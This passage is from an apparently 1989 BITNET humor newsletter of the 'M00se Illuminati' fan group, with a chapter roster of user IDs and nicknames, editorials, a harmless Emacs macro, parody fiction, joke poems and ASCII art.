FAVORITE TV SHOW: Bullwinkle. (He's my hero.)
FAVORITE MOVIES: The Moose That Ate Everything, The Three Mooseketeers
THINGS THAT ANNOY ME:
Moose Hunters, construction sites, forest fires, paper shortages
Zoos, People trying to make cloth lines on my antlers.
LOVES: The company of fellow mooses. I'm all alone at the moment.
ATTENTION FEMALE MOOSES: SEND MAIL.
QUOTES:
Mooooooooose.
-Unknown
ArooooOOOOOOoooooooo.
-Traditional
I'm so confused.
-Bullwinkle
I'm so depressed.
-unavailable for further comment
--------------------------------------------------------------------------------
*************** AND, OF COURSE, THE UBIQUITOUS M00SE LIST UPDATE ***************
--------------------------------------------------------------------------------
TOTAL CHAPTERS: 162
THRONG/CHAPTER USERID NODE NAME
--------------------------------------------------------------------------------
Alaska thr0ng FSDEM2 @ ALASKA Mugwump
(5 chapters) FSJBK @ ALASKA G00se
FSJPC @ ALASKA Jonathan
FSSTM @ ALASKA Steve Munk
TSJV @ ALASKA Boogel
Apple Computer, inc. chapter REWING @ APPLE.COM SlickRick
Berkeley chapter MHIRSCH @ MATH.BERKELEY.EDU
Micheal
Boston University thr0ng ENLDC8C @ BUACCA Paladin
(3 chapters) LAN @ BUCSF.BU.EDU
Larry Nathanson
CLXLAUC @ BUACCA Rorshach
Brockport thr0ng DS1437 @ BROCK1P Don Schleede
(3 chapters) KG5927 @ BROCK1P Fry-Guy
MW2440 @ BROCK1P FryM00se
Bucknell Chapter SHAFFERJ @ BKNLVMS James Shaffer
The U.B. Mega/Giga Throng
(46 Chapters)
V047KFZ7 @ UBVMS Grim-M00se
V054NN84 @ UBVMS PacifistM00se
V056GZPK @ UBVMS BritM00se
V056QKT3 @ UBVMS L0i0m00se
V061REGM @ UBVMS Captain Devious!
V065L4KV @ UBVMS Donald Duck
V065LRN6 @ UBVMS The M00sco Kid
V066EDD9 @ UBVMS Musical M00se
V067LUFD @ UBVMS Riff, DeathM00se
V068GZ8E @ UBVMS Evil
V068MVHU @ UBVMS Brandy M00se
V078QM32 @ UBVMS F00nels
V078JQ@Q @ UBVMS BullWinkle
V083PZ6U @ UBVMS Confused
V085PWPZ @ UBVMS Vam00se,Valerie :)
V090QRDN @ UBVMS Irish DreamM00se
V093QLRB @ UBVMS Gund Prime
V096JBXL @ UBVMS G0neR0gueSch0lar M00se
V096NHDQ @ UBVMS Chris M00spaw
V097NQQG @ UBVMS EXPL0RER 01
V098PZJD @ UBVMS Cardinal M00se, The
Grand Illuminator
V100JVAE @ UBVMS Red M00se
V101PYRW @ UBVMS Villager M00se
V109MEN5 @ UBVMS O.DM00SE
V110JQ34 @ UBVMS The Reverend M00ster
V113PX6J @ UBVMS Not M00se
V115NQF5 @ UBVMS Michele Karlinski
V115GWE6 @ UBVMS Canisius M00se,Doctor X
V115QRJ8 @ UBVMS MightyM00se
V116PFFT @ UBVMS Zem00se
V117MG7B @ UBVMS Lord Masinde,L0rd M00se
Spot Toxic
V118PV6E @ UBVMS Crissm00se
V122QQVZ @ UBVMS Sweeper M00se
V123NKUX @ UBVMS DArkling M00se
V123P62M @ UBVMS Lorelei
V126HN32 @ UBVMS Father Judas M00se
V129N2V6 @ UBVMS G.I. M00se, SgtGim00se
V133NNUW @ UBVMS BigBadM00se
V285RAAG @ UBVMS Sm00sh
V291NHTP @ UBVMS Pat, WarM00se,
DangerM00se
V409EPKE @ UBVMS CygM00se
And our REMOTE members of the UB SUPERTHR0NG:
JJZ @ S.CC.PERDUE.EDU
EC256A46 @ CANISIUS Claudette M00se
DMCGURRIN @ CANISIUS Long Legs Dee M00se
HARRIS @ CANISIUS (NO NAME GIVEN)
IN%"JPRISCO @OSWEGO.OSWEGO.EDU
Pope Zaphod I of the 80 M00ses
Colgate U chapter JSIMON @ COLGATEU Jamie
Connecticut College chapter LMRAC @ CONNCOLL Rat
Connecticut State U thr0ng CLAFFEY_JOR @ CTSTATEU Indiana Joe
(8 chapters) COLANGELO @ CTSTATEU Ken Colangelo
CRAMER @ CTSTATEU Scopus
HENNEQUI_WEM @ CTSTATEU Anonym00se
LEE_JES @ CTSTATEU SalmonM00se
PHINNEY_AVK @ CTSTATEU Phredde
WENGER_BRE @ CTSTATEU
WITHALL @ CTSTATEU Goblin
Cornell thr0ng CBRY @ CORNELLA Ladykate
(2 chapters) ZEMANIAN%CHEME.DECNET @ CHEME.TN.CORNELL.EDU
Spaceman Biff
CUNY chapter S99QC @ CUNYVM Yossi
Drew Thr0ng KLOHNER @ DRUNIVAC Karl Lohner
(3 chapters) MHEAD @ DREW Drewid
MOOSE @ DRUNIVAC Mr. Oose
HABiT (H0use 0f Ap0stles DB06103 @ UAFSYSB M00se Man
0f Biggles Thr0ng) DB06103 @ UAFSYSB Ms. M00se
(3 chapters) JC06081 @ UAFSYSB Nemesis Milph
Hartford thr0ng AHRENS @ HARTFORD Wrangle
(7 chapters) BEAUBIEN @ HARTFORD Sindex
DICKSON @ HARTFORD Pickle/MOON ROACH!
ROSSI @ HARTFORD The Chairman
SZIMMERM @ HARTFORD Greymalkin
WEIMAN @ HARTFORD Rhiannon/Sushi
WHITE @ HARTFORD Demon Ick
Haverford thr0ng K_KRAVITZ @ HVRFORD Q.[A
(2 chapters) S_BLINN @ HVRFORD Sean Blinn
Kansas State Uni. Chapter BETH1 @ KSUVM Beth
Lansing, NY thr0ng B45J @ CORNELLA Lord Sabre
(4 chapters) B45J @ CRNLVAX5 Half-Elf
B45J @ CRNLVAX5 The Innkeeper
WXCY @ CRNLVAX5 Lord Trelf
Loyola thr0ng FRANK @ LOYVAX Spank
(8 chapters) GAIL @ LOYVAX Sybil
KEVIN @ LOYVAX
Mr. Sparebuttonssuppliedwithhisshirt
MARKUS @ LOYVAX Markus
MARY_BETH @ LOYVAX Cinderella
PAMELA @ LOYVAX Mommydammit
STASA @ LOYVAX Phoenix
TERESA @ LOYVAX Teresa
Maine chapter IO80222 @ MAINE Rainmaker
Marist chapter KKG1 @ MARISTB Crimson M00se
New Hampshire Uni. Chapter J-BUTMAN @ UNHH Oliver
North Dakota State U. chapter UD140680 @ NDSUVM1 The Anachronist
Northeastern U. chapter ACM_MDB @ NUHUB The_Sage
0ber0n Trading Thr0ng ST5616 @ SIUCVMB QuantumCat
(2 chapters) ST6344 @ SIUCVMB Black_D0G the pirate
Old Dominion University thr0ng LBS100S @ ODUVM (nick unknown)
(3 chapters) MRH100C @ ODUVM Frizbog Gordnik
SAB100C @ ODUVM Sandi Bedford
Penn State thr0ng MSP @ PSUECL Mark S. Pfaff
(2 chapters) WCF @ PSUECL Bill Fenner
Portland thr0ng IP85014 @ PORTLAND qwerty
(2 chapters) IP85033 @ PORTLAND Mitya the Red M00se
Pratt Institute Chapter TPIERCE @ PRATT M0ab
Purdue Chapter PATWHITE @ PURCCVM Patrick White
Siberacuse thr0ng CRUSSELL @ SUNRISE GypsyLynx
(7 chapters) JBANKERT @ SUNRISE CHAOS Engineer
RABEELER @ SUNRISE Beez
RETANTS @ SUNRISE Scamp
VASISON @ SUNRISE Vince Sison
LIBLJR @ SUVM Niniane
LIBISU2 @ SUVM Guardian Angel
Stony Brook thr0ng CJAMES @ SBCCVM Carl James
(12 chapters) DEISENBE @ SBCCVM David Eisenberg
GSMITH @ SBCCVM Gregg Smith
JDN @ SBCS.SUNYSB.EDU
John Norden
JROSENSH @ SBCCVM JoM00se
RRKHAN @ SBCCVM Romel
WALL @ SBCCVM Wall
DNOVELLA @ SBCCVM Doug Novellano
MFISCHER @ SBCCVM Greendog
MROSE @ SBCCVM MagickM00se
GSMITH @ SBCCVM M00sicM00se
CLFSI @ SBCCVM Fnord
Sweden chapter ICE @ SEQZ51 Ice
U California Riverside chapter WATKINS @ UCRVMS Kevin
UConn chapter WALLFESH @ UCONNVM Sande
U Regina thr0ng BLACKWEL @ UREGINA1 Mickey M00se
(2 chapters) RUDYK @ UREGINA1 BackdoorM00se
Villanova thr0ng 054649739 @ VUVAXCOM Squish
(6 chapters) 188622462 @ VUVAXCOM Kamikaze
580074787 @ VUVAXCOM Fiben
59401463 @ VUVAXCOM Starscream
SWORD05 @ VUVAXCOM Ford Prefect
WATER @ VUVAXCOM The Doctor
Washington State U. thr0ng 24945863 @ WSUVM1 Bard
(3 chapters) 23480853 @ WSUVM1 Ishtar
90289872 @ WSUVM1 Cthulhu
Wesleyan thr0ng AG @ WESLEYAN Damsel
(8 chapters) JBLUESTEIN @ WESLEYAN WabeWalker
JVINCENT @ WESLEYAN Lord Rassilon
JDOTY @ WESLEYAN The Keeper
LBURKA @ WESLEYAN The Heresiarch
LGREENSTEIN @ WESLEYAN Pope Atheist I
LMARR @ WESLEYAN His Serene Randomness
RSIMON @ WESLEYAN Rich ??
Wilfred Hyde-White thr0ng CWELLER @ TRINCC b0liver shagnastY iv
(2 chapters) FANTASYG @ TRINCC Trinity Fantasy Guild
Xavier chapter BRUGGMNJ @ XAVIER the WILD ONE!!!
?? chapter OZER%ARKLE.DECNET
@ CHEME.TN.CORNELL.EDU
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_ /\ _ _ /\ _
/ \_/\_/ \_/\_/ \ M M 0000 0000 SSSSS EEEEEEE / \_/\_/ \_/\_/ \
\_____/ () \_____/ MM MM 0 //0 0 //0 S E \_____/ () \_____/
/ \ M M M M 0 // 0 0 // 0 SSSS EEEEE / \
/ \__/ \ M M M 0// 0 0// 0 S E / \__/ \
/__________\ M M 0000 0000 SSSSS EEEEEEE /__________\
DDDD RRRR OOOO PPPPP PPPPP IIIII N N GGGGG SSSSS
D D R R O O P P P P I NN N G S
D D RRRR O O PPPPP PPPPP I N N N G GGG SSSS
D D R R O O P P I N NN G G S
DDDD R R OOOO P P IIIII N N GGGG SSSSS
A-M00SE-ING ANECDOTES AND ILLUMINATION BY AND FOR THE PAWNS OF THE
M00SE ILLUMINATI
Issue #33| Disclaimer: The Editors will place almost anything in |Nov. 17, 1989
---------- this newsletter out of a frantic desire to fill the --------------
issue, so don't blame them for the quality or content of the submissions. Except
-ing those they may have written themselves, the enclosed items do not in any
way represent the Editors' fnord opinions. In fact, let's be real safe, and say
that as far as this newsletter is concerned, they have no opinions at all. OK?
================================================================================
--------------------------------------------------------------------------------
************************************* STAFF ************************************
--------------------------------------------------------------------------------
Editor - Patrick Salsbury <V291NHTP@UBVMS.BITNET>
Submissions to: DangerM00se <V291NHTP@UBVMS.BITNET>
Back issue requests: WarM00se <V291NHTP@UBVMS.BITNET>
M00se List updates and changes: Darkling M00se <V123NKUX@UBVMS.BITNET>
(This space to let): Contact <V291NHTP@UBVMS.BITNET>
--------------------------------------------------------------------------------
**************************** EDITORIALS AND LETTERS ****************************
--------------------------------------------------------------------------------
Hello, all!
Here I sit, diligently typing away, as my grades slip slowly and surely
down the toilet. 8-)
Not much new here. The flag-burning issue is slowing to a simmer, but
there is a bright light on the horizon as we begin to research the purchasing of
rubber stamps to start stamping U.S. currency. ;^) If anyone is interested,
please send me e-mail. My "contact" says a stamp may cost between $10-$30, but I
think we may be able to get a discount if we order several/a lot.
If you are interested, or if you have no idea what I'm talking about,
but want to learn, then send to MHANDELS@DREW.BITNET and he'll be glad to give
you more info. (Even though he has NO idea I'm writing this, and will find out
at the same time you do! ;^) )
-Pat Salsbury
-DangerM00se
V291NHTP@UBVMS.BITNET
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Still no word on M.I. T-shirts, (C'mon, Bill!), but if you buy the
ILLUMINATI EXPANSION SET #2 but Steve Jackson Games, you get a pin with the
eye-in-the-pyramid symbol and the words "I've been Illuminated." Also, they have
a catalog so you can order other neat stuff. They have illuminati symbol enamel
pins and car-wars kill stickers, etc. etc. etc....
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
WAAAAAAAAYYYYY back in issue #1, Bill Dickson was talking about how the
FBI fnord has probably got a file for each and every one of us because we're
receiveing this subversive, underground newsletter. He said that he was going to
write to them in 5 years and ask for his file. He understands that they have to
give it to you, but that they can black out (with magic marker) anything that
they don't want you to know (about yourself!). :)
Well, I've been thinking about it, and since I KNOW that I have an FBI
fnord file, ever since this summer (Don't ask. ;^) ), I thought I would start
SENDING them things to put in my file. Things that I want kept for posterity. :)
I think I may start sending them issues of Droppings, but I'll have to edit out
things like the flag-burning fnord, the currency stamping fnord, and, for that
matter, THIS! :)
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
In the spirit of Jack "The Joker" Nicholson, and the weirdness of the
M.I. (BTW, I've semi-adopted '-Weirdness' as another signature of mine, just so
you know), I mailed out a letter/bill to an insurance company today (from when I
cut my finger - another story) and, in addition to the standard ball-point-pen
address and return address, I added the word 'Urgent.' written with my left hand
in green crayon on the front of the envolope. This is just one small example of
the power of crayon, and I think that EVERYONE should start carrying at LEAST
one crayon, and preferably the standard pack of 8 Crayolas (Which is what I
have). A note of warning/usefullness. Purple crayon, by its very nature, has
such a high believability-rate, that anything written in it is absolutely and
unarguably true. (So if you were to take a test, do miserably on it, but write
'This is an "A"' at the top in purple crayon, then it will be an A. :) (Even
better is to write the word "KEY" at the top, then everyone else's test will
have to be graded according to YOUR answers! ;^) )
Don't try to cancel purple crayon with other purple crayon. I'm not sure
what would happen, but I bet it's nasty.
-Pat
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
By the way...Notice anything different about the disclaimer on this or
the last issue? No? I thought not. (Heh Heh Heh!) Don't bother to check it out.
I'm sure it won't help.....Really! Don't bother to look!
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Regarding the LLL:
I love lobsters.....however, I love me broiled! HAHAHAHA!
Do not be swayed by the sweet tongued, deceptive crustaceans!
They are evil! Whores of the deep! Deal with them in the manners
the deserve! Steamed, broiled, fried, even raw! Broil the lobsters,
fry the clams, steam the scallops, and baste the mussels!!!!!!
Join the Society For the Consumption of Crustaceans!!!!!!
Your lobster-munching guru,
Lord Trelf
--------------------------------------------------------------------------------
******************************* EVENTS AND NEWS ********************************
--------------------------------------------------------------------------------
I worked this out a while ago. It's a handy little macro for those
m00ses out there that use EMACS to to their editing. I use it
contantly. It automatially inserts 00 when you type "oo" or "OO" --
indispensable!.
--Michael (mighty M00SE) Hirsch
(defun moose(arg)
"start of a whole M00SE-mode"
(if (or (< (current-column) 1)
(not (save-excursion (forward-char -1) (looking-at arg))))
(insert arg)
(delete-char -1)
(insert "00")))
(defun moose-O()
(interactive)
(moose "O"))
(defun moose-o()
(interactive)
(moose "o"))
(local-set-key "o" 'moose-o)
(local-set-key "O" 'moose-O)
--------------------------------------------------------------------------------
***************************** FICTION AND POETRY *******************************
--------------------------------------------------------------------------------
From Eric Bjarnason <JVINCENT@EAGLE.WESLEYAN.EDU>
Star Dreck by Hemingway
I was the captain. I was heading for the bridge. The captain
belonged on the bridge. He was the captain. I walked onto the
bridge.
Uhura was the communications officer. She was sitting at the
communications console. Dammit, Uhura was ugly. Probably everyone on
the bridge thought so. Chekov thought so. If only those damn script
writers would put it in the damn script. Then maybe one of us could
say it. Damn.
I turned to Uhura. "Put Kahn on the screen", I said.
"Kahn?"
"Yes, Kahn."
"On the screen?"
"Yes, the screen."
"You want me to put Kahn on the screen?"
Dammit, Uhura was stupid too. Just then Kahn came on the screen.
I said, "God dammit Kahn, what do you want?"
"I want all the information on the Genesis Project."
"The information?"
"Yes."
"On the Genesis Project?"
"Yes."
"All of it?"
"Yes."
It seemed as though Kahn wanted all the information on the Genesis
Project. Dammit, Kahn was ugly. But I knew this Kahn. He was out to destroy
me. I couldn't give him the information. I had to destroy him. If I gave
him the information then he would destroy me and I knew I had to destroy him.
I told Chekov to load the torpedo tubes. The torpedo tubes held the
photon torpedos. The photon torpedos would destroy Kahn. Chekov loaded the
torpedo tubes. Kahn was on the screen again. "I want all the information on
the Genesis Project."
I told Chekov to fire the photon torpedos.
"Here it comes," I said.
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
The Armadillo -- Chapter Three
The Armadillo stalked down the hallway and descened the stairs, en
route to the local department of the NYPD, the dame in tow. Reaching the
street, he brushed loose cement and gravel from the hood of his car, a
mint-condition Model-T Ford with a modified engine that let him do a
break-neck speed of 35 m.p.h. He motioned the dame into the passenger seat,
and once inside said, "So, what's your name, Shweetheart?"
"Bunny," she breathed. "Bunny Wabbyt"
"Your folks had a helluva sense of humor," The Armadillo said.
"Do you really think they were funny?" Bunny asked.
"No, I just said they had a helluva sense of humor. Elephants have a
helluva strong odor, but that don't mean they smell good. Now, we're
heading down to Precinct 96 to check in with a drinking buddy of mine
who shood be able to get you some protection and give me some leads."
As they drove away, they passed a very undercover looking car with
a very government agent looking person inside. The very government
agent looking person picked up her car phone and said, "Agent Hindenburgs
to Scout Leader Q. Agent Hindenburgs to Scout Leader Q. Chrome Dome has been
sited. Repeat - Chrome Dome has been sited. Proceeding"
Arriving at the Precinct, The Armadillo braced himself for what was
always an annoying string of occurences. His friend Lt. Malone [named
after his father's favorite character in 'The Untouchables'] was always
willing to help him, but some of the other boys in the precinct wouldn't
let him forget that he wasn't exactly human. This time, he was determined
to put an end to the jibes as well get the info he needed.
He actually made it halfway through the precinct before the jokes
started.
"Phew. Smells like a wild animal just walked in."
"Hey, that reminds me. I have to wax my car this weekend."
"Ya' know, he kinda' looks like an armadillo I once ran over down in
Texas about 10 years ago."
That did it.
The Armadillo walked up to the person who made the last remark while
Bunny looked on, sensing something bad was about to go down. The Armadillo
stopped inches before the man who uttered that last, fateful joke.
"Think that's funny, bud?" he asked.
The smart-assed cop grinned. "Sure do."
"What's your name boy?" The Armadillo asked.
"Lt. Roland T. Gunner."
"Ya' know, Rolly, my mother was run over about ten years ago in Texas,"
The Armadillo said.
Everyone in the room winced. Everyone, that is, except Gunner.
"Ya' gonna report me, MetalHead?"
"No," said The Armadillo, ice in his breath.
"So am I supposed to care?" quipped Gunner.
With amazing speed [for an Armadillo anyway], The Armadillo grabbed
Gunner by the back of the head and slammed it into his chest. Gunner's
head impacted with The Armadillo's chest armor. Gunner, not surprisingly,
hit the floor, dreaming of large women, onion dip, and coils of copper
wire. [He was a weird guy.]
The Armadillo looked about the room with hard, staring eyes. "How do
you think he feels now," he asked. "Better? Or Worse?" Without another word,
he walked the rest of the way to Malone's office. Bunny stared at him in awe
every step of the way.
It took Malone thirty minutes to find the info that The Armadillo wanted.
Finally he looked up from his terminal and said, "According to the records,
Alfonse Capone was buried in a small cemetary in Chicago when he died. But
there was an entry in Chicago Police Department's Records and the F.B.I. that
the grave was dug up and the body stolen two weeks ago. The F.B.I. figures
it was just some looney who stole it. They haven't been able to recover it."
"Then he IS alive!" Bunny screeched. " I told you!"
"Apparently you were right, Doll," The Armadillo said.
"What the hell are you two talking about?" asked Malone.
The Armadillo took a swig of bourbon, grimaced, and said, "Apparently
Al Capone is alive and trying to take over the Mafia in New York City,
Jimmy."
"That's ridiculous," exclaimed Malone. "That couldn't happen! It's
impossible."
"And I suppose a walking armadillo isn't?" said The Armadillo
sarcastically.
"Yeah, you're right. God I need a drink"
"Well then," said The Armadillo, "let's go."
Just then the phone rang. Malone picked it up, looked confused, and
handed it to The Armadillo. "It's for you."
He took it. "Yeah, The Armadillo speakin'."
"Dillo, you're a dead man," said an metallic Chicago-Italian voice.
"Let me guess...you must be RoboCapone," The Armadillo said, sarcastically
again. [He seems to be growing a taste for sarcasm.]
Just then a bull-horn sounded.
"COME OUT PEACEFULLY! THIS IS THE MEGA-INTELLIGENCE BUREAU! WE HAVE THE
PRECINCT SURROUNED!"
"Ah shit," said The Armadillo. "I knew it was gonna' be one of those
days."
BUNNY WABBYT? HAS THE AUTHOR LOST HIS MIND?????????
WILL CAPONE KILL THE ARMADILLO?
WILL THE M.I.B. KILL THE ARMADILLO?
WILL TOO MUCH BORBOUN KILL THE ARMADILLO?
WILL THE ARMADILLO HAVE SEX WITH BUNNY?
WILL SEX WITH BUNNY KILL THE ARMADILLO?
SHOULD I EVER LISTEN TO WARREN ZEVON AGAIN WHILE WRITING A STORY?
The answers to these and other questions are still sitting in THAT DAMNED
ENVELOPE AT 'RICK'S PLACE', but since it doesn't seem you are gonna' go
there, tune in next time...
Same Armadillo time......Same Armadillo channel.....
Superguy Digest, a division of the Turner Broadcasting Network
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
From Joanne Rosenshein <JROSENSH@SBCCVM.BITNET>
On the twelfth day of dieting, M00se love gave to me:
Twelve hot fidge sundaes,
Eleven Hostess Twinkies,
Ten cherry cheese cakes,
Nine lady fingers,
Eight date nut muffins,
Seven oatmeal cookies,
Six bags of Fritos,
*FIVE* coffee rings,
Four sticky buns,
Three Clark bars,
Two marbled cakes,
And a pizza with pepperoni.
to.
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
(And something I just got this morning.... -Pat)
|---------------------------------------------------------------------------|
| #=============# /\ ******************* |
| # E U R O P E # North-Pole ~~~~~ ***** ************ |
| #=============# ~~~~~~ ******* ********* |
| ******** ********** |
| North- **N***** ******F***** |
| ** Sea *******S* *********** |
| *** **** **** *********** |
| ~~~~ *** ~~~~~ *** *********** |
| ~~~~~~~ ** *** ~~~ ** ******** |
| ~~ ~~~~~~~ *IR *GB* ***** ************ |
| ~~ ~~~ ** ****** ** ***************************** |
| ~~~~ ******* **H**********GDR******************** |
| |\ *************************P************ |
| | \ **************GER******************USSR*** |
| ~~~ | \ ******F******************************** |
| |___\ ~~~~ *************/^^\**/\***************** |
| ___/oo___ ************/C/^^-^^\***A******H******* |
| ~~\______/~~~ ***********/^-^/^^^*\^^\/\************** |
| ~~~~ ************************************** |
| <== A M E R I C A =<<< ********* ******** *************** |
| ****** ***** **Y********** |
| *************** ** **** ************ |
| ~~~~~~ *************** *** *I** *********** |
| ~~~~~ ~~ *******S****** ** ***** *********** |
| ~~~~~~ *P************* ~~ **** ********** |
| ~~ ************** ~~~ ****** ********** |
| ********** ~~~~ ***** ** ******* |
| N ~~~~ |
| | ****** Mediterranian ~~~~ |
| W--+--E **** ****************** ~~~~ |
| | **** ********************** |
| S *** A F R I C A /------------------|
| *** / (C)1988 Olaf Wendt
-------------------------------------------------------/
--------------------------------------------------------------------------------
*************************** M00SCELLANEOUS NONSENSE ****************************
--------------------------------------------------------------------------------
From Bloop! Bloop bloop? BL00P! <MOOSE@DRUNIVAC.BITNET>
The Carnivorous Eggplant will make you free!
"Free from what?" you may ask. But if you were truly free, then you would not
need to ask this question, for the Eggplant brings enlightenment. When you
fully believe in the Eggplant, you will at last KNOW from what (or from whom)
you have been freed.
How can you become free? First, you must know the history of the Eggplant from
certain basic questions that must be asked.
Q. Who is the Eggplant?
A. The Eggplant is the Creator of All!! Its Holy Carnivorous created the
first humans, Irving and Hilda. They ate of green M&M's and learned of
lust. Thusly, they lived happily ever after. From lack of support, the
Eggplant developed amnesia and committed various horrible crimes for
which It must now atone. Only by strong belief in It may we free It from
Its amnesia, so It may rise from sewage, retaining Its purity.
Q. What will the Eggplant do for ME?
A. When the Eggplant is freed, It will in turn free the faithful.
Will you be one?
Q. Where did the Eggplant come from?
A. It was always here.
Q. How can one worship the Eggplant?
A. By giving sacrifices of green M&M's, spreading the word, and wearing
purple on alternate (or alternative) Wednesdays.
Basic Facts about the Eggplant:
The sacred day is Wednesday.
The sacred number is 17.
The Eggplant is loved everywhere.
The Holy Color is purple.
The second most Holy Color is green.
Some sins committed by the Eggplant while in amnesia:
1. God.
2. Centuries of bloody warfare.
3. Centuries of bloody peace.
4. Post-Natal depression.
5. Ronald Reagan.
6. Ronald McDonald.
** Applications for Messiah are now being carelessly screened **
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Second in the Kinky Cat Sex Series:
The Voyages of the Good Ship Censor
===================================
The ship is white, her sails are square;
though often slow, she's everywhere.
Her name is boldly writ in back,
"The S.S. Censor", in blood and black.
You may not know her from the fore,
she shoots, 'fore raising her flag of war.
But when freedom has died and lost the fray,
you know her name, as she sails away.
She must be shunned, she carries a plague,
wherever she calls, she brings an ague.
Creative thoughts, quietly repressed,
'til nothing new can be expressed.
It's not the seas are her domain,
the sea she sails is your very brain.
So do not dare be different or strange,
for no-one's free from her far flung range.
Even sailing winds of caution and care,
of the ship itself, you must still beware.
And when she catches a gale of hate,
the destruction done is especially great.
Prudence Bland is the captain's name,
her cardinal rule, to keep things the same.
The ship is crewed by fearful souls,
they strive to play their appointed roles.
Sex, is the captain's current foe,
the open expression of love must go.
But everything the captain hates,
must be hid from all, behind iron gates.
What can keep this ship in check?
It's quite impossible to reck.
The only hope, is to teach the crew,
they have no right to blinker you.
The captain never leaves the ship,
but needs a crew, to frenzy and whip.
The crew's still there to rely upon,
and the good ship Censor still sails on.
Copyright 1988
# Hugh D. Gamble (416) 267-6159 No Disclaimers.
# hugh@kink.UUCP
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
From V093P9AX@UBVMS (Still no m00sey name in sight from this one....)
Things IV: Planal Darts
INTRODUCTIoN
----------------------------
Well, it just goes to show that we can all relate to things in general,
in private, and in lieutenant- colonel. When trying to cure acute loneliness
with a cute female, do not under or over any circumstances forget the
angioplasts. Then, rinse your eyes with some E.Coli.
BoWLING FoR GAUZE PADS
---------------------------
"Limberger, lumgrunkle, why are you shining so bright?" Please pass the
cheddar, I may die of cod.
The above is the main outcome of a conflict when trying to compile a
program in Modula-2 on a commodore Vic-20. One can question the existence of
tuna, but one won't fly to Japan on a Trump shuttle overnight.
BACK TO THE QUESTION OF THINGS
------------------------------
We still cannot deny the ever-present (opened and unopened) existence of
things, or what I call THINGS, or what I may refer to as MYCXAHJGWQQ, which, of
course, is pronounced <things>, but is phoenetically spelled
<ARRRRRRRRRRRRRGHmageddon>, but in some cultures is spelled like the ancient
word for grock, which is JUNG!, but sounds like the sound made when you play
Gnip Gnop, and tastes like the taste you taste when you repair a motorcycle.
MoRE NEGATIVE STIMULI
--------------------------------
NO! CATUSUSusES are our friends!! Don't mess with a wigwam!! It can
cause cancer of the hair.
CLoSING THoUGHTS
--------------------------------
We have seen from this and earlier THINGS that we have gone quite far in
our reserach to dis- cover the reason for making research. Benefically, this was
started by Benny Fishelly. But, some things have changed, so I rewired the damn
thing and put the batteries in backwards, and now it works fine, but I don't get
good reception on April 31st.
ON TO THE FUTURE!!!!!!<Things V???>
When in doubt, shoubt.
--------------------------------------------------------------------------------
******************************* MEET THE M00SES ********************************
--------------------------------------------------------------------------------
THE PETER DICRESCENZO CHAPTER OF THE M00SE ILLUMINATI
a.k.a. THE GRAHAM CHAPMAN MEMORIAL CHAPTER OF THE M00SE ILLUMINATI
Bull M00se: Peter J. DiCrescenzo
Box 2004, Suite 128
New Britain, CT 06050
(203) 826-0448
Grand P00bah: Pete DiCrescenzo
P.O. Box 2004, Rm. 128
New Britain, CT 06050
(203) 826-0448
Treasurer: P. "Gumby" DiCrescenzo
Box 2004, Room 128
New Britain, CT 06050
(203) 826-0448
A brief history of the Peter DiCrescenzo Chapter of the Moose Illuminati now
follows;
WARNING! The following brief history of the Peter DiCrescenzo Chapter of the
M00se Illuminati is NOT, repeat, NOT in any way, shape, or form related to the
erroneous previously mentioned following brief history of the Peter DiCrescenzo
Chapter of the Moose Illuminati. If one notices, the recently-re-mentioned,
erroneous previously mentioned following brief history of the Peter DiCrescenzo
Chapter of the Moose Illuminati has no '00' in 'M00se.' Rather, the
aforementioned recently-re-mentioned erroneous previously mentioned brief
history of the Peter DiCrescenzo Chapter of the Moose Illuminati has only two
very common and quite drab-and-awful lower-case oh's to speak of. It should be
noted that the scribe responsible for this error has been summarily executed
for willful conspiracy to present false and completely irrelevant information,
ergo, elk.
[ The Bull M00se would prefer it known that the Scribe responsible for
correcting the pre-presentation of "The Brief History Of The Peter
DiCrescenzo Chapter of the M00se Illuminati" has been sacked, as there was no
such pre-presentation of "The Brief History Of The Peter DiCrescenzo Chapter
of the M00se Illuminati" WHATSOEVER, erroneous or otherwise, and he was quite
a silly person indeed. Similarly mistaken views may report to our Employee
and Associate Counselor, Bradford "Mongo the Bloody" Cambridge. ]
IN THE EARLY FALL OF 1989, an incoming student at Central Connecticut State
University was beset by a slew of perplexing situations quite common to the
average Type-A personality profile, but a completely new kettle of fish to
his own experience. One morning, amid midterm exam blues and ARA Food Service
Aftershock in Memorial Hall (Cafe du Salmonella), a complete and total stranger
brusquely strode up to this student, placed his thumbs to either side of his
head, wiggled his open palms enthusiastically, whispered "bl00p," and walked
away, melting into the lunchtime crowds, not to be seen evermore.
Hours later, befuddled and suffering from Post-ARA-Meatball syndrome, the
student puzzled and muddled over the strange occurrence that afternoon.
Countless attempts at explaining the phenomenon were to no avail; It could not
possibly have been someone from his classes. There was no chance at all it
would have been his RA. There was always the possibility, of course, that it
was someone from the Registration office. The errant student was about to
write it off as a stray Theatre Major when a series of convulsions brought on
by two obscure chemicals blended into the nominally edible cuisine he had
consumed happened to combine during digestion. His body shocked into a state
of utter disbelief, the student's consciousness fought to rise to a more
comfortable, if incoherent, state of being.
A sensation not unlike wading through a sea of warm, cherry-flavored edible
massage oil washed over the student, and a voice, deep and ancient, rose from
the depths of the student's previously unenlightened spirit, carrying with it
an image, a symbol; a mighty m00se, melded with the form of an all-seeing
pyramid; and the voice imparted a great wisdom unto the student, for the m00se
spake but one word:
"bl00p."
And the student's soul was thus illuminated.
Hiya!
Peter DiCrescenzo "Ice Lord"
DICRESCE@CTSTATEU
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Michael Oose, a M00se for All Seasons
Michael Oose appears to be your ordinary sort of m00se. He's big and hairy,
with huge antlers and large (hairy, of course) nostrils. He consumes
vegetative matter for his sustenance, sleeps, and occasionally makes a little
m00se. He takes great pride in his antlers, keeping them nice and sharp and
mossy.
